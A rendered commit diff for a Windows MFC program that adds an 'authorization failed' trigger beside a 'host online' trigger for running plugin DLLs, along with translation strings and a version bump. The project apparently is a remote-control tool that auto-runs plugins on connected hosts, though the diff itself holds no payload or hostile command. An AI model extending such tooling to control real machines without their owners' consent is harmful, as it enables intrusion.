ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||||
|
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||||
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
|
|||||||
{
|
{
|
||||||
// 初始化触发类型下拉框
|
// 初始化触发类型下拉框
|
||||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||||
|
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
|
||||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||||
|
|
||||||
// 初始化插件列表
|
// 初始化插件列表
|
||||||
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
|
|||||||
index++;
|
index++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
// 回显当前选中触发类型已勾选的插件
|
||||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
|
||||||
if (onlineTrigger) {
|
|
||||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
|
||||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
|
||||||
if (!dll) continue;
|
|
||||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
|
||||||
if (pluginName == dll->Name) {
|
|
||||||
m_listPlugins.SetCheck(i, TRUE);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||||
{
|
{
|
||||||
m_listTriggers.DeleteAllItems();
|
m_listTriggers.DeleteAllItems();
|
||||||
|
|
||||||
const char* typeNames[] = { "主机上线" };
|
const char* typeNames[] = { "主机上线", "授权失败" };
|
||||||
|
|
||||||
int index = 0;
|
int index = 0;
|
||||||
for (const auto& cfg : m_Configs) {
|
for (const auto& cfg : m_Configs) {
|
||||||
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
|||||||
|
|
||||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||||
|
|
||||||
|
// 回显该触发器配置的插件,并同步下拉框选择
|
||||||
|
ReflectPluginsForType(type);
|
||||||
|
m_comboTriggerType.SetCurSel(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
|
||||||
|
{
|
||||||
|
int sel = m_comboTriggerType.GetCurSel();
|
||||||
|
if (sel >= 0) {
|
||||||
|
ReflectPluginsForType((TriggerType)sel);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
|
||||||
|
{
|
||||||
// 查找对应的触发器配置
|
// 查找对应的触发器配置
|
||||||
TriggerConfig* cfg = nullptr;
|
TriggerConfig* cfg = nullptr;
|
||||||
for (auto& c : m_Configs) {
|
for (auto& c : m_Configs) {
|
||||||
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 同步下拉框选择
|
|
||||||
m_comboTriggerType.SetCurSel(type);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||||
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
|
|||||||
TriggerManager::Instance().Reload();
|
TriggerManager::Instance().Reload();
|
||||||
}
|
}
|
||||||
|
|
||||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
|
||||||
{
|
|
||||||
for (auto& cfg : configs) {
|
|
||||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
|
||||||
return &cfg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nullptr;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// TriggerManager 实现
|
// TriggerManager 实现
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
|
|||||||
{
|
{
|
||||||
// 不加锁,由调用者保证线程安全
|
// 不加锁,由调用者保证线程安全
|
||||||
m_OnlinePlugins.clear();
|
m_OnlinePlugins.clear();
|
||||||
|
m_AuthFailedPlugins.clear();
|
||||||
|
|
||||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||||
for (const auto& cfg : configs) {
|
for (const auto& cfg : configs) {
|
||||||
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
|
|||||||
for (const auto& name : cfg.PluginNames) {
|
for (const auto& name : cfg.PluginNames) {
|
||||||
m_OnlinePlugins.insert(name);
|
m_OnlinePlugins.insert(name);
|
||||||
}
|
}
|
||||||
|
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
|
||||||
|
for (const auto& name : cfg.PluginNames) {
|
||||||
|
m_AuthFailedPlugins.insert(name);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
m_bLoaded = true;
|
m_bLoaded = true;
|
||||||
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool TriggerManager::HasAuthFailedTrigger()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
bool has = !m_AuthFailedPlugins.empty();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return has;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ struct DllInfo;
|
|||||||
// 触发器类型
|
// 触发器类型
|
||||||
enum TriggerType {
|
enum TriggerType {
|
||||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||||
|
TRIGGER_AUTH_FAILED = 1, // 授权失败
|
||||||
// 后续可扩展更多类型
|
// 后续可扩展更多类型
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -34,12 +35,18 @@ public:
|
|||||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||||
std::set<std::string> GetOnlinePlugins();
|
std::set<std::string> GetOnlinePlugins();
|
||||||
|
|
||||||
|
// 获取授权失败触发器的插件名称集合(高性能查询)
|
||||||
|
std::set<std::string> GetAuthFailedPlugins();
|
||||||
|
|
||||||
// 重新加载配置(保存后调用)
|
// 重新加载配置(保存后调用)
|
||||||
void Reload();
|
void Reload();
|
||||||
|
|
||||||
// 检查是否有上线触发器
|
// 检查是否有上线触发器
|
||||||
bool HasOnlineTrigger();
|
bool HasOnlineTrigger();
|
||||||
|
|
||||||
|
// 检查是否有授权失败触发器
|
||||||
|
bool HasAuthFailedTrigger();
|
||||||
|
|
||||||
private:
|
private:
|
||||||
TriggerManager();
|
TriggerManager();
|
||||||
~TriggerManager();
|
~TriggerManager();
|
||||||
@@ -49,7 +56,8 @@ private:
|
|||||||
void LoadFromDisk();
|
void LoadFromDisk();
|
||||||
|
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||||
|
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
|
||||||
bool m_bLoaded;
|
bool m_bLoaded;
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -68,8 +76,6 @@ public:
|
|||||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||||
// 静态方法:获取配置文件路径
|
// 静态方法:获取配置文件路径
|
||||||
static std::string GetTriggerConfigPath();
|
static std::string GetTriggerConfigPath();
|
||||||
// 静态方法:获取主机上线触发器(如果存在)
|
|
||||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX);
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
@@ -81,12 +87,15 @@ protected:
|
|||||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnCbnSelchangeComboTriggerType();
|
||||||
|
|
||||||
private:
|
private:
|
||||||
void InitControls();
|
void InitControls();
|
||||||
void LoadPluginsToList();
|
void LoadPluginsToList();
|
||||||
void LoadTriggersToList();
|
void LoadTriggersToList();
|
||||||
void UpdateTriggerDisplay();
|
void UpdateTriggerDisplay();
|
||||||
|
// 回显指定触发类型已勾选的插件(取消其他勾选)
|
||||||
|
void ReflectPluginsForType(TriggerType type);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||||
|
|||||||
@@ -46,7 +46,7 @@
|
|||||||
|
|
||||||
// 程序版本号 [建议格式: X.Y.Z]
|
// 程序版本号 [建议格式: X.Y.Z]
|
||||||
// 影响:关于对话框、标题栏
|
// 影响:关于对话框、标题栏
|
||||||
#define BRAND_VERSION "1.3.9"
|
#define BRAND_VERSION "1.4.0"
|
||||||
|
|
||||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||||
|
|||||||
@@ -1824,6 +1824,7 @@ IOCP
|
|||||||
触发类型:=Ausloesertyp:
|
触发类型:=Ausloesertyp:
|
||||||
执行动作:=Aktion:
|
执行动作:=Aktion:
|
||||||
主机上线=Host online
|
主机上线=Host online
|
||||||
|
授权失败=Autorisierung fehlgeschlagen
|
||||||
插件名称=Plugin-Name
|
插件名称=Plugin-Name
|
||||||
触发器=Ausloeser
|
触发器=Ausloeser
|
||||||
已配置的触发器=Konfigurierte Ausloeser
|
已配置的触发器=Konfigurierte Ausloeser
|
||||||
|
|||||||
@@ -1825,6 +1825,7 @@ IOCP
|
|||||||
触发类型:=Trigger Type:
|
触发类型:=Trigger Type:
|
||||||
执行动作:=Action:
|
执行动作:=Action:
|
||||||
主机上线=Host Online
|
主机上线=Host Online
|
||||||
|
授权失败=Authorization Failed
|
||||||
插件名称=Plugin Name
|
插件名称=Plugin Name
|
||||||
触发器=Trigger
|
触发器=Trigger
|
||||||
已配置的触发器=Configured Triggers
|
已配置的触发器=Configured Triggers
|
||||||
|
|||||||
@@ -1817,6 +1817,7 @@ IOCP
|
|||||||
触发类型:=觸發類型:
|
触发类型:=觸發類型:
|
||||||
执行动作:=執行動作:
|
执行动作:=執行動作:
|
||||||
主机上线=主機上線
|
主机上线=主機上線
|
||||||
|
授权失败=授權失敗
|
||||||
插件名称=外掛名稱
|
插件名称=外掛名稱
|
||||||
触发器=觸發器
|
触发器=觸發器
|
||||||
已配置的触发器=已設定的觸發器
|
已配置的触发器=已設定的觸發器
|
||||||
|
|||||||
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
@@ -284,6 +284,9 @@
|
|||||||
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
||||||
#define IDB_BITMAP_VIEW_WND 399
|
#define IDB_BITMAP_VIEW_WND 399
|
||||||
#define IDB_BITMAP_PROXY_AUTORUN 400
|
#define IDB_BITMAP_PROXY_AUTORUN 400
|
||||||
|
#define IDB_BITMAP_FILE_MANAGER 407
|
||||||
|
#define IDB_BITMAP_PRIVACY_SHIELD 408
|
||||||
|
#define IDB_BITMAP_DRAWING_BOARD 409
|
||||||
#define IDC_MESSAGE 1000
|
#define IDC_MESSAGE 1000
|
||||||
#define IDC_ONLINE 1001
|
#define IDC_ONLINE 1001
|
||||||
#define IDC_STATIC_TIPS 1002
|
#define IDC_STATIC_TIPS 1002
|
||||||
@@ -1078,7 +1081,7 @@
|
|||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 407
|
#define _APS_NEXT_RESOURCE_VALUE 410
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33093
|
#define _APS_NEXT_COMMAND_VALUE 33093
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2593
|
#define _APS_NEXT_CONTROL_VALUE 2593
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
|
|||||||
Reference in new issue
Block a user